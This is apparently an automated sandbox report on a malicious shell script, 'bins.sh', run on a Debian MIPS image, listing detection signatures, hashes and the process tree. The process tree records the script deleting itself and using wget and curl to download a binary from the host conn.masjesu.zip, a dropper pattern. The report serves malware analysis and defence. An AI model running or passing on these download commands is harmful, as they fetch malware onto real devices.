Analysis

  • max time kernel
    150s
  • max time network
    6s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17/11/2024, 23:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241117-3fd5ms1brh
  • SHA256 d11a05e5dd4127c13c363436d8c0643b2db4508b5b9c39d0dc827f3e0cba8618
  • MD5 SHA1 SHA512 SSDEEP
Score
3/10

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:735

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb

            • Path /tmp/MQaze4bDMEhS5G1Kqni1GX48stY6SatWDb
            • Size 112KB
            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
            • MD5 SHA1 SHA512 SSDEEP